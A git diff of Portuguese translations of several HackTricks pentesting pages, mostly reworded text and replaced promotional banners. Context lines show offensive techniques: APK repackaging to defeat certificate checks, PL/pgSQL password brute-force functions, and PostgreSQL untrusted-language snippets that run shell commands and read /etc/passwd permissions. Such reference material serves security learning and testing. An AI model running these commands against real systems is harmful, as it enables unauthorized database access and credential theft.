* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -21,7 +21,7 @@ Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
***
Algumas aplicações não aceitam certificados baixados pelo usuário, então, para inspecionar o tráfego da web de alguns aplicativos, precisamos realmente descompilar a aplicação, adicionar algumas coisas e recompilá-la.
Algumas aplicações não gostam de certificados baixados pelo usuário, então, para inspecionar o tráfego da web de alguns aplicativos, na verdade, precisamos descompilar a aplicação, adicionar algumas coisas e recompilá-la.
# Automático
@ -29,7 +29,7 @@ A ferramenta [**https://github.com/shroudedcode/apk-mitm**](https://github.com/s
# Manual
Primeiro, descompilamos o app: `apktool d *file-name*.apk`
Primeiro, descompilamos o aplicativo: `apktool d *file-name*.apk`
![](../../.gitbook/assets/img9.png)
@ -64,22 +64,17 @@ Então salve o arquivo e saia de todos os diretórios e reconstrua o apk com o s
Finalmente, você só precisa **assinar a nova aplicação**. [Leia esta seção da página Smali - Decompiling/\[Modifying\]/Compiling para aprender como assiná-la](smali-changes.md#sing-the-new-apk).
{% hint style="success" %}
Aprenda e pratique AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
**Try Hard Security Group**
<summary>Support HackTricks</summary>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Obtenha o [**merch oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivas
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -97,11 +97,11 @@ password: PA$$W0RD!Z
De [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
| **Configuração** | **Descrição** |
| ------------------------------ | -------------------------------------------------------------------------------------- |
| `auth_debug` | Habilita todos os logs de depuração de autenticação. |
| ------------------------------ | ------------------------------------------------------------------------------------- |
| `auth_debug` | Habilita todos os logs de depuração de autenticação. |
| `auth_debug_passwords` | Esta configuração ajusta a verbosidade dos logs, as senhas enviadas e o esquema é registrado. |
| `auth_verbose` | Registra tentativas de autenticação malsucedidas e suas razões. |
| `auth_verbose_passwords` | As senhas usadas para autenticação são registradas e também podem ser truncadas. |
| `auth_verbose` | Registra tentativas de autenticação malsucedidas e suas razões. |
| `auth_verbose_passwords` | As senhas usadas para autenticação são registradas e também podem ser truncadas. |
| `auth_anonymous_username` | Isso especifica o nome de usuário a ser usado ao fazer login com o mecanismo ANONYMOUS SASL. |
**Try Hard Security Group**
@ -151,15 +151,17 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {IP}; set RPORT 110; run; exit'
```
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivas
* Obtenha o [**merch oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **me siga** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas dicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,30 +1,36 @@
# Injeção de Cypher (neo4j)
# Cypher Injection (neo4j)
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
Confira os seguintes blogs:
* [https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits](https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits)
* [https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8](https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8)
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,40 +1,43 @@
# PL/pgSQL Password Bruteforce
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Encontre [mais informações sobre esse ataque no artigo original](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.
**Encontre [mais informações sobre esses ataques no documento original](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.
PL/pgSQL é uma **linguagem de programação completa** que vai além das capacidades do SQL, oferecendo **controle procedural aprimorado**. Isso inclui a utilização de loops e várias estruturas de controle. Funções criadas na linguagem PL/pgSQL podem ser invocadas por declarações SQL e gatilhos, ampliando o escopo das operações dentro do ambiente do banco de dados.
PL/pgSQL é uma **linguagem de programação totalmente funcional** que vai além das capacidades do SQL, oferecendo **controle procedural aprimorado**. Isso inclui a utilização de loops e várias estruturas de controle. Funções criadas na linguagem PL/pgSQL podem ser invocadas por instruções SQL e gatilhos, ampliando o escopo das operações dentro do ambiente do banco de dados.
Você pode abusar dessa linguagem para solicitar ao PostgreSQL que faça força bruta nas credenciais dos usuários, mas elas devem existir no banco de dados. Você pode verificar a existência delas usando:
Você pode abusar dessa linguagem para pedir ao PostgreSQL que faça brute-force nas credenciais dos usuários, mas elas devem existir no banco de dados. Você pode verificar sua existência usando:
```sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+---------
plpgsql |
```
Por padrão, **criar funções é um privilégio concedido ao PÚBLICO**, onde PÚBLICO se refere a todos os usuários nesse sistema de banco de dados. Para evitar isso, o administrador poderia ter revogado o privilégio de USO do domínio PÚBLICO:
Por padrão, **criar funções é um privilégio concedido ao PUBLIC**, onde PUBLIC se refere a todos os usuários desse sistema de banco de dados. Para evitar isso, o administrador poderia ter revogado o privilégio de USAGE do domínio PUBLIC:
```sql
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
```
Nesse caso, nossa consulta anterior produziria resultados diferentes:
Nesse caso, nossa consulta anterior retornaria resultados diferentes:
```sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+-----------------
plpgsql | {admin=U/admin}
```
Note que, para o script a seguir funcionar, **a função `dblink` precisa existir**. Se não existir, você pode tentar criá-la com o seguinte comando:
Observe que para o seguinte script funcionar **a função `dblink` precisa existir**. Se não existir, você pode tentar criá-la com
```sql
CREATE EXTENSION dblink;
```
@ -79,9 +82,9 @@ $$ LANGUAGE 'plpgsql';
//Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
```
_Nota que até mesmo a força bruta de 4 caracteres pode levar vários minutos._
_Note que até mesmo forçar 4 caracteres pode levar vários minutos._
Você também poderia **baixar uma lista de palavras** e tentar apenas essas senhas (ataque de dicionário):
Você também pode **baixar uma lista de palavras** e tentar apenas essas senhas (ataque de dicionário):
```sql
//Create the function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
@ -116,14 +119,17 @@ $$ LANGUAGE 'plpgsql'
-- Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
```
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Treinamento GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Suporte ao HackTricks</summary>
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,28 +1,31 @@
# RCE com Linguagens do PostgreSQL
# RCE com Linguagens PostgreSQL
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## Linguagens do PostgreSQL
## Linguagens PostgreSQL
O banco de dados PostgreSQL ao qual você obteve acesso pode ter diferentes **linguagens de script instaladas** que você pode abusar para **executar código arbitrário**.
O banco de dados PostgreSQL ao qual você teve acesso pode ter diferentes **linguagens de script instaladas** que você poderia abusar para **executar código arbitrário**.
Você pode **fazê-las funcionar**:
Você pode **fazer com que elas funcionem**:
```sql
\dL *
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
```
A maioria das linguagens de script que você pode instalar no PostgreSQL tem **2 variantes**: a **confiável** e a **não confiável**. A **não confiável** terá um nome **terminado em "u"** e será a versão que permitirá que você **execute código** e use outras funções interessantes. Estas são linguagens que, se instaladas, são interessantes:
A maioria das linguagens de script que você pode instalar no PostgreSQL tem **2 sabores**: o **confiável** e o **não confiável**. O **não confiável** terá um nome **terminado em "u"** e será a versão que permitirá que você **execute código** e use outras funções interessantes. Essas são linguagens que, se instaladas, são interessantes:
* **plpythonu**
* **plpython3u**
@ -41,7 +44,7 @@ SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_languag
{% endhint %}
{% hint style="danger" %}
Se não visualizar um idioma, você pode tentar carregá-lo com (**você precisa ser superadmin**):
Se você não vê uma linguagem, pode tentar carregá-la com (**você precisa ser superadmin**):
```
CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
@ -51,7 +54,7 @@ CREATE EXTENSION plrubyu;
```
{% endhint %}
Note que é possível compilar as versões seguras como "inseguras". Verifique [**este**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) por exemplo. Portanto, sempre vale a pena tentar se você pode executar código mesmo que encontre instalado apenas o **confiável**.
Observe que é possível compilar as versões seguras como "inseguras". Confira [**isso**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) como exemplo. Portanto, sempre vale a pena tentar se você pode executar código, mesmo que você encontre apenas a versão **confiável** instalada.
## plpythonu/plpython3u
@ -71,7 +74,7 @@ SELECT cmd("ls"); #RCE with popen or execve
```
{% endtab %}
{% tab title="Obter usuário do sistema operacional" %}
{% tab title="Obter usuário do OS" %}
```sql
CREATE OR REPLACE FUNCTION get_user (pkg text)
RETURNS VARCHAR(65535) stable
@ -85,7 +88,7 @@ SELECT get_user(""); #Get user, para is useless
```
{% endtab %}
{% tab title="Listar diretório" %}
{% tab title="Listar dir" %}
```sql
CREATE OR REPLACE FUNCTION lsdir (dir text)
RETURNS VARCHAR(65535) stable
@ -101,7 +104,7 @@ SELECT lsdir("/"); #List dir
```
{% endtab %}
{% tab title="Encontrar pasta W" %}
{% tab title="Encontrar a pasta W" %}
```sql
CREATE OR REPLACE FUNCTION findw (dir text)
RETURNS VARCHAR(65535) stable
@ -234,7 +237,7 @@ SELECT find_exe("psql"); #Find executable by susbstring
```
{% endtab %}
{% tab title="Leitura" %}
{% tab title="Ler" %}
```sql
CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
@ -266,7 +269,7 @@ select get_perms("/etc/passwd"); # Get perms of file
```
{% endtab %}
{% tab title="Pedido" %}
{% tab title="Requisição" %}
```sql
CREATE OR REPLACE FUNCTION req2 (url text)
RETURNS VARCHAR(65535) stable
@ -309,14 +312,17 @@ Verifique a seguinte página:
[rce-with-postgresql-extensions.md](rce-with-postgresql-extensions.md)
{% endcontent-ref %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,18 +1,21 @@
# Cookie Bomb + Onerror XS Leak
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
O **script** a seguir, retirado [**aqui**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), está explorando uma funcionalidade que permite ao usuário **inserir qualquer quantidade de cookies**, e então carregar um arquivo como um script sabendo que a resposta verdadeira será maior do que a falsa e então. Se bem-sucedido, a resposta é um redirecionamento com uma URL resultante mais longa, **muito grande para ser manipulada pelo servidor, então retorna um código de status de erro http**. Se a pesquisa falhar, nada acontecerá porque a URL é curta.
